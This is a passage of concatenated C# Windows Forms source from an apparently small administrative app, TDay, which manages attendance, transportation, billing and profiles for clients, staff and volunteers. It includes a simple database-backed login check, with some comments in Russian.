System.Windows.Forms.Button button1; private System.Windows.Forms.Panel panel2; private System.Windows.Forms.TabControl tabControl1; private System.Windows.Forms.TabPage Attendance; private System.Windows.Forms.TabPage Profiles; private System.Windows.Forms.ToolStrip toolStrip1; private System.Windows.Forms.ToolStripButton toolStripButton1; private System.Windows.Forms.TabPage Transportation; private System.Windows.Forms.TabPage Bills; private System.Windows.Forms.SplitContainer splitContainer1; private System.Windows.Forms.TabControl tabControl2; private System.Windows.Forms.TabPage ClientTab; private System.Windows.Forms.GroupBox groupBox1; private System.Windows.Forms.Label label2; private System.Windows.Forms.TextBox textBox_ClientName; private System.Windows.Forms.Label label3; private System.Windows.Forms.TextBox textBox_ClientBirth; private System.Windows.Forms.CheckBox ClientMember; private System.Windows.Forms.Label label4; private System.Windows.Forms.TextBox textBox_ClientParis; private System.Windows.Forms.TextBox textBox_ClientHD; private System.Windows.Forms.Label label5; private System.Windows.Forms.GroupBox groupBox5; private System.Windows.Forms.CheckBox checkBox7; private System.Windows.Forms.CheckBox checkBox11; private System.Windows.Forms.CheckBox checkBox8; private System.Windows.Forms.CheckBox checkBox10; private System.Windows.Forms.CheckBox checkBox9; private System.Windows.Forms.GroupBox groupBox4; private System.Windows.Forms.CheckBox checkBox6; private System.Windows.Forms.CheckBox checkBox5; private System.Windows.Forms.CheckBox checkBox4; private System.Windows.Forms.CheckBox checkBox3; private System.Windows.Forms.CheckBox checkBox2; private System.Windows.Forms.GroupBox groupBox3; private System.Windows.Forms.Panel panel3; private System.Windows.Forms.ToolStrip toolStrip2; private System.Windows.Forms.ToolStripButton toolStripButton2; private System.Windows.Forms.ToolStripLabel toolStripLabel1; private System.Windows.Forms.ToolStripTextBox DopEmerClientName; private System.Windows.Forms.ToolStripLabel toolStripLabel2; private System.Windows.Forms.ToolStripTextBox DopEmerClientPhone; private System.Windows.Forms.Label label19; private System.Windows.Forms.TextBox textBox_ClientPharmPhone; private System.Windows.Forms.TextBox textBox_ClientPharmName; private System.Windows.Forms.Label label18; private System.Windows.Forms.TextBox textBoxClientDocPhone; private System.Windows.Forms.Label label17; private System.Windows.Forms.TextBox textBox_ClientDocName; private System.Windows.Forms.Label label16; private System.Windows.Forms.TextBox textBox_ClientEmPhone; private System.Windows.Forms.Label label14; private System.Windows.Forms.Label label13; private System.Windows.Forms.TextBox textBox_ClientEmerName; private System.Windows.Forms.GroupBox groupBox2; private System.Windows.Forms.TextBox textBox_ClientEmail; private System.Windows.Forms.Label label12; private System.Windows.Forms.TextBox textBox_ClientPhone; private System.Windows.Forms.Label label11; private System.Windows.Forms.TextBox textBox_ClientPostal; private System.Windows.Forms.TextBox textBox_ClientCity; private System.Windows.Forms.Label label10; private System.Windows.Forms.Label label6; private System.Windows.Forms.TextBox textBox_ClientAdress; private System.Windows.Forms.TextBox textBox_ClientProvince; private System.Windows.Forms.TextBox textBox_ClientCountry; private System.Windows.Forms.Label label8; private System.Windows.Forms.Label label7; private System.Windows.Forms.Label label9; private System.Windows.Forms.TabPage EmployeeTab; private System.Windows.Forms.TabPage VolunteerTab; private System.Windows.Forms.TabPage Board_MemberTab; private System.Windows.Forms.TabPage OtherTab; private System.Windows.Forms.GroupBox groupBox6; private System.Windows.Forms.Label label69; private System.Windows.Forms.Label label33; private System.Windows.Forms.Label label20; private System.Windows.Forms.TextBox textBox_EmpName; private System.Windows.Forms.Label label21; private System.Windows.Forms.TextBox textBox_EmpBirth; private System.Windows.Forms.TextBox textBox_EmpSin; private System.Windows.Forms.TextBox textBox_EmpHire; private System.Windows.Forms.GroupBox groupBox7; private System.Windows.Forms.TextBox textBox_EmpEmail; private System.Windows.Forms.Label label1; private System.Windows.Forms.TextBox textBox_EmpPhone; private System.Windows.Forms.Label label26; private System.Windows.Forms.TextBox textBox_EmpPostal; private System.Windows.Forms.TextBox textBox_EmpCity; private System.Windows.Forms.Label label27; private System.Windows.Forms.Label label28; private System.Windows.Forms.TextBox textBox_EmpAdress; private System.Windows.Forms.TextBox textBox_EmpProvince; private System.Windows.Forms.TextBox textBox_EmpCountry; private System.Windows.Forms.Label label29; private System.Windows.Forms.Label label30; private System.Windows.Forms.Label label31; private System.Windows.Forms.GroupBox groupBox8; private System.Windows.Forms.CheckBox checkBox12; private System.Windows.Forms.CheckBox checkBox13; private System.Windows.Forms.CheckBox checkBox14; private System.Windows.Forms.CheckBox checkBox15; private System.Windows.Forms.CheckBox checkBox16; private System.Windows.Forms.GroupBox groupBox18; private System.Windows.Forms.TextBox textBox_EmpRelation; private System.Windows.Forms.Label label73; private System.Windows.Forms.TextBox textBox_EmerCP; private System.Windows.Forms.Label label74; private System.Windows.Forms.Label label75; private System.Windows.Forms.TextBox textBox_EmpEmerCN; private System.Windows.Forms.Label label32; private System.Windows.Forms.RadioButton radioButton3; private System.Windows.Forms.RadioButton radioButton2; private System.Windows.Forms.Label label25; private System.Windows.Forms.RadioButton radioButton1; private System.Windows.Forms.TextBox textBox_EmpCell; private System.Windows.Forms.Label label22; private System.Windows.Forms.GroupBox groupBox9; private System.Windows.Forms.Label label36; private System.Windows.Forms.TextBox textBox_VolName; private System.Windows.Forms.Label label37; private System.Windows.Forms.TextBox textBox_VolBirth; private System.Windows.Forms.GroupBox groupBox10; private System.Windows.Forms.TextBox textBox_VolCell; private System.Windows.Forms.Label label23; private System.Windows.Forms.TextBox textBox_VolEmail; private System.Windows.Forms.Label label24; private System.Windows.Forms.TextBox textBox_VolPhone; private System.Windows.Forms.Label label34; private System.Windows.Forms.TextBox textBox_VolPostal; private System.Windows.Forms.TextBox textBox_VolCity; private System.Windows.Forms.Label label35; private System.Windows.Forms.Label label38; private System.Windows.Forms.TextBox textBox_VolAdress; private System.Windows.Forms.TextBox textBox_VolProvince; private System.Windows.Forms.TextBox textBox_VolCountry; private System.Windows.Forms.Label label39; private System.Windows.Forms.Label label40; private System.Windows.Forms.Label label41; private System.Windows.Forms.GroupBox groupBox12; private System.Windows.Forms.CheckBox checkBox17; private System.Windows.Forms.CheckBox checkBox18; private System.Windows.Forms.CheckBox checkBox19; private System.Windows.Forms.CheckBox checkBox20; private System.Windows.Forms.CheckBox checkBox21; private System.Windows.Forms.GroupBox groupBox11; private System.Windows.Forms.TextBox textBox_VolEmerRelation; private System.Windows.Forms.Label label42; private System.Windows.Forms.TextBox textBox_VolEmerCP; private System.Windows.Forms.Label label43; private System.Windows.Forms.Label label44; private System.Windows.Forms.TextBox textBox_VolEmerCN; private System.Windows.Forms.GroupBox groupBox13; private System.Windows.Forms.Label label48; private System.Windows.Forms.Label label49; private System.Windows.Forms.TextBox textBox_BoardName; private System.Windows.Forms.Label label50; private System.Windows.Forms.TextBox textBox_BoardBirth; private System.Windows.Forms.TextBox textBox_BoardOccupation; private System.Windows.Forms.GroupBox groupBox14; private System.Windows.Forms.TextBox textBox_BoardCell; private System.Windows.Forms.Label label45; private System.Windows.Forms.TextBox textBox_BoardEmail; private System.Windows.Forms.Label label46; private System.Windows.Forms.TextBox textBox_BoardPhone; private System.Windows.Forms.Label label47; private System.Windows.Forms.TextBox textBox_BoardPostal; private System.Windows.Forms.TextBox textBox_BoardCity; private System.Windows.Forms.Label label51; private System.Windows.Forms.Label label52; private System.Windows.Forms.TextBox textBox_BoardAdress; private System.Windows.Forms.TextBox textBox_BoardProvince; private System.Windows.Forms.TextBox textBox_BoardCountry; private System.Windows.Forms.Label label53; private System.Windows.Forms.Label label54; private System.Windows.Forms.Label label55; private System.Windows.Forms.GroupBox groupBox15; private System.Windows.Forms.TextBox textBox55; private System.Windows.Forms.Label label56; private System.Windows.Forms.TextBox textBox56; private System.Windows.Forms.Label label57; private System.Windows.Forms.TextBox textBox57; private System.Windows.Forms.Label label58; private System.Windows.Forms.TextBox textBox58; private System.Windows.Forms.TextBox textBox59; private System.Windows.Forms.Label label59; private System.Windows.Forms.Label label60; private System.Windows.Forms.TextBox textBox60; private System.Windows.Forms.TextBox textBox61; private System.Windows.Forms.TextBox textBox62; private System.Windows.Forms.Label label61; private System.Windows.Forms.Label label62; private System.Windows.Forms.Label label63; private System.Windows.Forms.GroupBox groupBox16; private System.Windows.Forms.Label label65; private System.Windows.Forms.TextBox textBox63; private System.Windows.Forms.Label label66; private System.Windows.Forms.TextBox textBox64; private TDayDataSet tDayDataSet; private System.Windows.Forms.BindingSource profilesBindingSource; private TDayDataSetTableAdapters.ProfilesTableAdapter profilesTableAdapter; private System.Windows.Forms.ToolStrip toolStrip3; private System.Windows.Forms.ToolStripButton toolStripButton3; private System.Windows.Forms.BindingSource categoriesBindingSource; private TDayDataSetTableAdapters.CategoriesTableAdapter categoriesTableAdapter; private System.Windows.Forms.ToolStrip toolStrip4; private System.Windows.Forms.ToolStripTextBox toolStripTextBox3; private System.Windows.Forms.Button button7; private System.Windows.Forms.Button button6; private System.Windows.Forms.Button button5; private System.Windows.Forms.ToolStrip toolStrip5; private System.Windows.Forms.ToolStripButton toolStripButton4; private System.Windows.Forms.DataGridView dataGridView1; private System.Windows.Forms.DataGridViewTextBoxColumn profileIdDataGridViewTextBoxColumn; private System.Windows.Forms.DataGridViewComboBoxColumn categoryDataGridViewTextBoxColumn; private System.Windows.Forms.DataGridViewTextBoxColumn nameDataGridViewTextBoxColumn; private System.Windows.Forms.ToolStrip toolStrip6; private System.Windows.Forms.ToolStripTextBox toolStripTextBox1; private System.Windows.Forms.ToolStripLabel toolStripLabel3; private System.Windows.Forms.ToolStripComboBox toolStripComboBox1; private System.Windows.Forms.TextBox textBox_EmpPosition; private System.Windows.Forms.Button button8; private System.Windows.Forms.SplitContainer splitContainer2; private System.Windows.Forms.BindingSource daysBindingSource; private TDayDataSetTableAdapters.DaysTableAdapter daysTableAdapter; private System.Windows.Forms.BindingSource daysBindingSource1; private System.Windows.Forms.ToolStrip toolStrip7; private System.Windows.Forms.ToolStripButton toolStripButton5; private System.Windows.Forms.DataGridView dataGridView2; private System.Windows.Forms.Label label67; private System.Windows.Forms.Label label64; private System.Windows.Forms.Button button10; private System.Windows.Forms.Button button9; private System.Windows.Forms.Panel panel4; private System.Windows.Forms.TextBox textBox_ClientRelation; private System.Windows.Forms.Label label15; private System.Windows.Forms.ToolStripLabel toolStripLabel4; private System.Windows.Forms.ToolStripTextBox toolStripTextBox2; private System.Windows.Forms.ErrorProvider AddProfileErrorProvider; private System.Windows.Forms.ToolTip toolTip1; private System.Windows.Forms.DataGridViewComboBoxColumn profileIdDataGridViewTextBoxColumn1; private System.Windows.Forms.DataGridViewCheckBoxColumn attendanceDataGridViewCheckBoxColumn; private System.Windows.Forms.DataGridViewCheckBoxColumn lunchDataGridViewCheckBoxColumn; private System.Windows.Forms.DataGridViewTextBoxColumn lunchPriceDataGridViewTextBoxColumn; private System.Windows.Forms.DataGridViewTextBoxColumn takeOutPriceDataGridViewTextBoxColumn; private System.Windows.Forms.DataGridViewTextBoxColumn miscellaneousPriceDataGridViewTextBoxColumn; private System.Windows.Forms.DataGridViewTextBoxColumn vanPriceDataGridViewTextBoxColumn; private System.Windows.Forms.DataGridViewTextBoxColumn roundTripPriceDataGridViewTextBoxColumn; private System.Windows.Forms.DataGridViewTextBoxColumn bookOfTicketsDataGridViewTextBoxColumn; private System.Windows.Forms.DataGridViewTextBoxColumn Total; private System.Windows.Forms.DataGridViewTextBoxColumn commentsDataGridViewTextBoxColumn; private System.Windows.Forms.DataGridViewTextBoxColumn dayIdDataGridViewTextBoxColumn; private System.Windows.Forms.DataGridViewTextBoxColumn dateDataGridViewTextBoxColumn; } }<file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { public static class AuthProvider { public static bool Login(string Username, string Password) { bool _isAuthentificated = false; TDayDataSet TDaySet = new TDayDataSet(); TDayDataSetTableAdapters.UsersTableAdapter usersTableAdapter = new TDayDataSetTableAdapters.UsersTableAdapter(); usersTableAdapter.Fill(TDaySet.Users); foreach (DataRow Row in TDaySet.Users) { if (Row["Login"].ToString() == Username && Row["Password"].ToString() == Password) { _isAuthentificated = true; break; } } return _isAuthentificated; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace TDay { public partial class Users : Form { public Users() { InitializeComponent(); } public static int CurrentRowIndex; private void Users_Load(object sender, EventArgs e) { // TODO: данная строка кода позволяет загрузить данные в таблицу "tDayDataSet.UGroups". При необходимости она может быть перемещена или удалена. this.uGroupsTableAdapter.Fill(this.tDayDataSet.UGroups); // TODO: данная строка кода позволяет загрузить данные в таблицу "tDayDataSet.Users". При необходимости она может быть перемещена или удалена. this.usersTableAdapter.Fill(this.tDayDataSet.Users); if (CurrentRowIndex < dataGridView1.Rows.Count && dataGridView1.Rows.Count > 0) { dataGridView1.Rows[CurrentRowIndex].Selected = true; } } private void toolStripButton1_Click(object sender, EventArgs e) { CurrentRowIndex = dataGridView1.SelectedCells[0].RowIndex; UsersAdd src = new UsersAdd(); src.ShowDialog(); } private void toolStripButton3_Click(object sender, EventArgs e) { CurrentRowIndex = dataGridView1.SelectedCells[0].RowIndex; UsersAdd src = new UsersAdd(); src.UserId = (int)dataGridView1.Rows[dataGridView1.SelectedCells[0].RowIndex].Cells["userIdDataGridViewTextBoxColumn"].Value; src.ShowDialog(); } private void toolStripButton2_Click(object sender, EventArgs e) { CurrentRowIndex = dataGridView1.SelectedCells[0].RowIndex; if (DialogResult.Yes == MessageBox.Show("Are you sure you want to delete this user?", "Delete", MessageBoxButtons.YesNo, MessageBoxIcon.Question)) { usersTableAdapter.Delete((int)dataGridView1.Rows[dataGridView1.SelectedCells[0].RowIndex].Cells["userIdDataGridViewTextBoxColumn"].Value); usersTableAdapter.Fill(tDayDataSet.Users); } } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; using System.Reflection; namespace TDay { public partial class AddProfile : Form { public AddProfile() { InitializeComponent(); } TDayDataSetTableAdapters.ProfilesTableAdapter profilesTableAdapter = new TDayDataSetTableAdapters.ProfilesTableAdapter(); private void AddProfile_Load(object sender, EventArgs e) { // TODO: данная строка кода позволяет загрузить данные в таблицу "tDayDataSet.Categories". При необходимости она может быть перемещена или удалена. this.categoriesTableAdapter.Fill(this.tDayDataSet.Categories); tabControl1.DrawMode = TabDrawMode.OwnerDrawFixed; tabControl1.Appearance = TabAppearance.Buttons; tabControl1.ItemSize = new System.Drawing.Size(0, 1); tabControl1.SizeMode = TabSizeMode.Fixed; tabControl1.TabStop = false; textBox_ClientName.Focus(); switch (Session.Group) { case 1: break; case 2: categoriesBindingSource1.Filter = "CategoryId<2 OR CategoryId>2"; break; case 3: categoriesBindingSource1.Filter = "CategoryId = 1"; break; } } private void button2_Click(object sender, EventArgs e) { this.Close(); } private void toolStripButton1_Click(object sender, EventArgs e) { toolStripButton1.Visible = false; toolStripLabel1.Visible = true; toolStripLabel2.Visible = true; toolStripTextBox_EmName.Visible = true; toolStripTextBox_EmPhone.Visible = true; toolStripLabel3.Visible = true; toolStripTextBox1.Visible = true; } private void comboBox1_SelectedIndexChanged(object sender, EventArgs e) { switch ((int)comboBoxCategory.SelectedValue) { case 1: tabControl1.SelectedTab = ClientTab; break; case 2: tabControl1.SelectedTab = EmployeeTab; break; case 3: tabControl1.SelectedTab = VolunteerTab; break; case 4: tabControl1.SelectedTab = Board_Member; textBox_BorOccupation.Visible = true; textBox_BorBirth.Visible = true; label60.Visible = true; break; case 5: tabControl1.SelectedTab = Board_Member; textBox_BorOccupation.Visible = false; textBox_BorBirth.Visible = false; label60.Visible = false; break; } } private void button1_Click(object sender, EventArgs e) { switch (comboBoxCategory.SelectedValue.ToString()) { #region Client case "1": Client _Client = new Client(); _Client.Name = textBox_ClientName.Text; _Client.DateOfBirdh = textBox_ClientBirth.Value; _Client.Member = checkBox_ClientMebmber.Checked; _Client.ParisNumber = textBox_ClientParis.Text; _Client.DoctorName = textBox_ClientDocName.Text; _Client.DoctorPhone = textBox_ClientDocPhone.Text; _Client.PharmacistName = textBox_PharmName.Text; _Client.PharmacistPhone = textBox_ClientPharmPhone.Text; _Client.Own = radioButton4.Checked; _Client.Create(); Address address = new Address(); address.Addres = textBox_ClientAddress.Text; address.City = textBox_ClientCity.Text; address.Province = textBox_ClientProvince.Text; address.Country = textBox_ClientCountry.Text; address.PostalCode = textBox_ClientPostal.Text; address.Phone = textBox_ClientPhone.Text; address.Email = textBox_ClientEmail.Text; address.AddAdressTo(_Client); address.Dispose(); Attendance attendance = new Attendance(); attendance.Monday = attendance_mon.Checked; attendance.Tuesday = attendance_tue.Checked; attendance.Wednesday = attendance_wed.Checked; attendance.Thursday = attendance_thu.Checked; attendance.Friday = attendance_fri.Checked; attendance.AddAttendanceTo(_Client); Transportation trans = new Transportation(); trans.Monday = trans_mon.Checked; if (_Client.Own) { trans.Category = "Own"; } else { trans.Category = "HandyDART"; } trans.Tuesday = trans_tue.Checked; trans.Wednesday = trans_wed.Checked; trans.Thursday = trans_thu.Checked; trans.Friday = trans_fri.Checked; trans.HandyDARTNumber = textBox_ClientHD.Text; trans.Address = address.Addres; trans.Phone = address.Phone; trans.AddTransportationTo(_Client); EmergencyContact Contact = new EmergencyContact(); Contact.Name = textBox_ClientEmerName.Text; Contact.Phone = textBox_ClientEmerPhone.Text; Contact.Relation = textBox_ClientRelation.Text; Contact.AddEmergencyContactTo(_Client); Contact.Dispose(); if (toolStripTextBox_EmName.Visible) { EmergencyContact DopCont = new EmergencyContact(); DopCont.Name = toolStripTextBox_EmName.Text; DopCont.Phone = toolStripTextBox_EmPhone.Text; DopCont.Relation = toolStripTextBox1.Text; DopCont.AddEmergencyContactTo(_Client); DopCont.Dispose(); } profilesTableAdapter.Fill(tDayDataSet.Profiles); ReLoad(sender, tDayDataSet.Profiles.Rows.Count-1); this.Close(); break; #endregion #region Employee case "2": Employee employee = new Employee(); employee.Name = textBox_EmpName.Text; employee.DateOfBirdh = textBox_EmpBirth.Value; employee.HireDate = textBox_EmpHireDate.Value; employee.SIN = textBox_EmpSin.Text; employee.Position = textBox_EmpPosition.Text; employee.PositionType = GetPositionType(); employee.Create(); Address address_emp = new Address(); address_emp.Addres = textBox_EmpAddress.Text; address_emp.City = textBox_EmpCity.Text; address_emp.Province = textBox_EmpProv.Text; address_emp.Country = textBox_EmpCounrty.Text; address_emp.PostalCode = textBox_EmpPostal.Text; address_emp.Phone = textBox_EmpPhone.Text; address_emp.Email = textBox_EmpEmail.Text; address_emp.Cell = textBox_EmpCell.Text; address_emp.AddAdressTo(employee); address_emp.Dispose(); EmergencyContact ContactEmp = new EmergencyContact(); ContactEmp.Name = textBox_EpEmerName.Text; ContactEmp.Phone = textBox_EmpEmerPhone.Text; ContactEmp.Relation = textBox_EmpRelation.Text; ContactEmp.AddEmergencyContactTo(employee); ContactEmp.Dispose(); Attendance attendance_emp = new Attendance(); attendance_emp.Monday = attendance_em_mon.Checked; attendance_emp.Tuesday = attendance_tue.Checked; attendance_emp.Wednesday = attendance_em_wed.Checked; attendance_emp.Thursday = attendance_em_thu.Checked; attendance_emp.Friday = attendance_em_fri.Checked; attendance_emp.AddAttendanceTo(employee); attendance_emp.Dispose(); profilesTableAdapter.Fill(tDayDataSet.Profiles); ReLoad(sender, tDayDataSet.Profiles.Rows.Count - 1); this.Close(); break; #endregion #region Volonteer case "3": Profile volonteer = new Profile(); volonteer.Name = textBox_VolName.Text; volonteer.DateOfBirdh = textBox_VolBirth.Value; volonteer.Create(Enums.Category.Volunteer); Address adress_vol = new Address(); adress_vol.Addres = textBox_VolAdress.Text; adress_vol.City = textBox_VolCity.Text; adress_vol.Province = textBox_VolProvince.Text; adress_vol.Country = textBox_VolCountry.Text; adress_vol.PostalCode = textBox_VolPostal.Text; adress_vol.Phone = textBox_VolPhone.Text; adress_vol.Email = textBox_ValEmail.Text; adress_vol.Cell = textBox_VolCell.Text; adress_vol.AddAdressTo(volonteer); adress_vol.Dispose(); EmergencyContact ContactVol = new EmergencyContact(); ContactVol.Name = textBox_VolEmeName.Text; ContactVol.Phone = textBox_VolEmePhone.Text; ContactVol.Relation = textBox_VolRelation.Text; ContactVol.AddEmergencyContactTo(volonteer); ContactVol.Dispose(); Attendance attendance_vol = new Attendance(); attendance_vol.Monday = attendance_vol_mon.Checked; attendance_vol.Tuesday = attendance_vol_tue.Checked; attendance_vol.Wednesday = attendance_vol_wed.Checked; attendance_vol.Thursday = attendance_vol_thu.Checked; attendance_vol.Friday = attendance_vol_fri.Checked; attendance_vol.AddAttendanceTo(volonteer); attendance_vol.Dispose(); profilesTableAdapter.Fill(tDayDataSet.Profiles); ReLoad(sender, tDayDataSet.Profiles.Rows.Count - 1); this.Close(); break; #endregion #region BoardMember case "4": Profile board = new Profile(); board.Name = textBox_BorName.Text; board.Occupation = textBox_BorOccupation.Text; board.DateOfBirdh = textBox_BorBirth.Value; board.Create(Enums.Category.BoardMember); Address adress_bor = new Address(); adress_bor.Addres = textBox_BorAdress.Text; adress_bor.City = textBox_BorCity.Text; adress_bor.Province = textBox_BorProvince.Text; adress_bor.Country = textBox_BorCountry.Text; adress_bor.PostalCode = textBox_BorPostal.Text; adress_bor.Phone = textBox_BorPhone.Text; adress_bor.Email = textBox_BoeEmail.Text; adress_bor.Cell = textBox_BorCell.Text; adress_bor.AddAdressTo(board); adress_bor.Dispose(); profilesTableAdapter.Fill(tDayDataSet.Profiles); ReLoad(sender, tDayDataSet.Profiles.Rows.Count - 1); this.Close(); break; #endregion #region Other case "5": Profile other = new Profile(); other.Name = textBox_BorName.Text; other.Occupation = textBox_BorOccupation.Text; other.DateOfBirdh = textBox_BorBirth.Value; other.Create(Enums.Category.Other); Address adress_other = new Address(); adress_other.Addres = textBox_BorAdress.Text; adress_other.City = textBox_BorCity.Text; adress_other.Province = textBox_BorProvince.Text; adress_other.Country = textBox_BorCountry.Text; adress_other.PostalCode = textBox_BorPostal.Text; adress_other.Phone = textBox_BorPhone.Text; adress_other.Email = textBox_BoeEmail.Text; adress_other.Cell = textBox_BorCell.Text; adress_other.AddAdressTo(other); adress_other.Dispose(); profilesTableAdapter.Fill(tDayDataSet.Profiles); ReLoad(sender, tDayDataSet.Profiles.Rows.Count - 1); this.Close(); break; #endregion } } private string GetPositionType() { string PosType = String.Empty; if (radioButton1.Checked) { PosType = "Causal"; } if (radioButton2.Checked) { PosType = "Part time"; } if (radioButton3.Checked) { PosType = "Full time"; } return PosType; } private static void ReLoad(object sender, int RowIndex) { Form mainForm = Application.OpenForms["MainFrame"]; if (mainForm != null) { MethodInfo form1_Load = mainForm.GetType().GetMethod("RelDataGrid2", BindingFlags.Instance | BindingFlags.DeclaredOnly | BindingFlags.NonPublic); form1_Load.Invoke(mainForm, new object[] {sender, RowIndex }); } } private void CheckDateFormat(TextBox Box) { switch (Box.Text.Length) { case 2: Box.Text += "."; Box.SelectionStart = Box.TextLength; Box.ScrollToCaret(); Box.Refresh(); break; case 5: Box.Text += "."; Box.SelectionStart = Box.TextLength; Box.ScrollToCaret(); Box.Refresh(); break; case 10: DateTime Test = new DateTime(); if (!DateTime.TryParse(Box.Text, out Test)) { AddProfileErrorProvider.SetError(Box, "Invalid date format \nThe date must be in the format (dd.mm.yyyy) \nand contain only numbers included in the date range"); } else { AddProfileErrorProvider.Clear(); } break; } } private void radioButton5_CheckedChanged(object sender, EventArgs e) { if (radioButton5.Checked) { label5.Visible = true; textBox_ClientHD.Visible = true; } else { label5.Visible = false; textBox_ClientHD.Visible = false; } } private void radioButton4_CheckedChanged(object sender, EventArgs e) { if (!radioButton4.Checked) { label5.Visible = true; textBox_ClientHD.Visible = true; } else { label5.Visible = false; textBox_ClientHD.Visible = false; } } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace TDay { public partial class Conn : Form { public Conn() { InitializeComponent(); } private void Conn_Load(object sender, EventArgs e) { string ConnString = TDay.Properties.Settings.Default.TDayConnectionString; string[] Pars = ConnString.Split(';'); foreach (string Value in Pars) { switch (Value.Split('=')[0]) { case "Data Source": textBox_ServerName.Text = Value.Split('=')[1]; break; case "Initial Catalog": textBox_Database.Text = Value.Split('=')[1]; break; case "User ID": textBox_ServerUser.Text = Value.Split('=')[1]; break; case "Password": textBox_ServerPasswd.Text = Value.Split('=')[1]; break; } } } private void button2_Click(object sender, EventArgs e) { this.Close(); } private void button1_Click(object sender, EventArgs e) { string ConnString = String.Format("Data Source={0};Initial Catalog={1};User ID={2};Password={3}", textBox_ServerName.Text,textBox_Database.Text,textBox_ServerUser.Text,textBox_ServerPasswd.Text); //TDay.Properties.Settings.Default.TDayConnectionString = ConnString; // TDay.Properties.Settings.Default.Save(); this.Close(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { public static class ProfileProvider { public static int GetCategory(int ProfileId) { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.ProfilesTableAdapter ProfilesTableAdapter = new TDayDataSetTableAdapters.ProfilesTableAdapter(); ProfilesTableAdapter.FillAll(tDayDataSet.Profiles); DataRow Row = tDayDataSet.Profiles.FindByProfileId(ProfileId); return (int)Row["Category"]; } public static bool GetDelStatus(int ProfileId) { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.ProfilesTableAdapter ProfilesTableAdapter = new TDayDataSetTableAdapters.ProfilesTableAdapter(); ProfilesTableAdapter.FillAll(tDayDataSet.Profiles); DataRow Row = tDayDataSet.Profiles.FindByProfileId(ProfileId); return (bool)Row["DelStatus"]; } public static string GetName(int ProfileId) { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.ProfilesTableAdapter ProfilesTableAdapter = new TDayDataSetTableAdapters.ProfilesTableAdapter(); ProfilesTableAdapter.FillAll(tDayDataSet.Profiles); DataRow Row = tDayDataSet.Profiles.FindByProfileId(ProfileId); return Row["Name"].ToString(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace TDay { public static class Enums { public enum Attendance { Monday = 1, Tuesday = 2, Wednesday = 3, Thursday = 4, Friday = 5 } public enum Transportation { Monday = 1, Tuesday = 2, Wednesday = 3, Thursday = 4, Friday = 5 } public enum Category { Client = 1, Employee = 2, Volunteer = 3, BoardMember = 4, Other = 5 } public enum ExceptionType { FunctionException, Tuesday, Wednesday, Thursday, Friday } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Drawing; using System.Windows.Forms; using System.Data; namespace TDay { public static class FormProvider { public static int CurrentRowIndex { get; set; } public static int CurrentColIndex { get; set; } public static int CurrentRowIndex2 { get; set; } public static int CurrentColIndex2 { get; set; } } } <file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Windows.Forms; namespace TDay { public partial class Auth : Form { public Auth() { InitializeComponent(); } public int _LoginPassCount = TDay.Properties.Settings.Default.LoginPassCount; public static bool isLogon = false; private void button1_Click(object sender, EventArgs e) { if (_LoginPassCount > 1) { if (AuthProvider.Login(textBoxLogin.Text, textBoxPassword.Text)) { isLogon = true; this.Close(); } else { _LoginPassCount--; ErrorLabel.Text = String.Format("Unsuccessful login attempt, you have {0} attempts left", _LoginPassCount); ErrorLabel.Visible = true; } } else { Application.Exit(); } } private void Auth_KeyDown(object sender, KeyEventArgs e) { switch (e.KeyCode) { case Keys.Enter: button1_Click(sender, e); break; case Keys.Escape: Application.Exit(); break; } } private void button1_Click_1(object sender, EventArgs e) { Conn src = new Conn(); src.ShowDialog(); } } } <file_sep>using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Data; namespace TDay { public class DayItem { TDayDataSet tDayDataSet = new TDayDataSet(); TDayDataSetTableAdapters.ProfilesTableAdapter profilesTableAdapter = new TDayDataSetTableAdapters.ProfilesTableAdapter(); TDayDataSetTableAdapters.ServicesTableAdapter servicesTableAdapter = new TDayDataSetTableAdapters.ServicesTableAdapter(); TDayDataSetTableAdapters.DaysTableAdapter daysTableAdapter = new TDayDataSetTableAdapters.DaysTableAdapter(); DataRow LunchRow; DataRow RTRow; DataRow PrRow; public int ProfileId { get; set; } public int DayId { get; set; } public DateTime Date { get; set; } public bool Attendance { get; set; } public bool Lunch { get; set; } public decimal LunchPrice { get; set; } public decimal TakeOutPrice { get; set; } public decimal ProgramPrice { get; set; } public decimal MiscellaneousPrice { get; set; } public decimal VanPrice { get; set; } public decimal RoundTripPrice { get; set; } public decimal BookOfTickets { get; set; } public decimal Total { get; set; } public string Comments { get; set; } public int WeekDay { get; set; } public DayItem( int ProfileUID) { servicesTableAdapter.Fill(tDayDataSet.Services); profilesTableAdapter.Fill(tDayDataSet.Profiles); if (ProfileProvider.GetCategory(ProfileUID) == 1) { LunchRow = tDayDataSet.Services.FindByServiceId(1); //Не расширяемая ссылка на Сервис } else { LunchRow = tDayDataSet.Services.FindByServiceId(4); } RTRow = tDayDataSet.Services.FindByServiceId(2); PrRow = tDayDataSet.Services.FindByServiceId(3); WeekDay = (int) DateTime.Now.DayOfWeek; DataRow Prof = tDayDataSet.Profiles.FindByProfileId(ProfileUID); ProfileId = ProfileUID; switch ((int)Prof["Category"]) { case (int)Enums.Category.Client: Client client = new Client(ProfileUID); Attendance = true; Lunch = true; //Индийский код на на всякий случай, авось расширять буду и Lunch из какой нить задницы всплывет if (Lunch) { LunchPrice = Decimal.Parse(LunchRow["ServiceFee"].ToString()); } if (client.Transportation.GetDay(WeekDay)) { RoundTripPrice = Decimal.Parse(RTRow["ServiceFee"].ToString()); } else { RoundTripPrice = Decimal.Zero; } ProgramPrice = Decimal.Parse(PrRow["ServiceFee"].ToString()); TakeOutPrice = 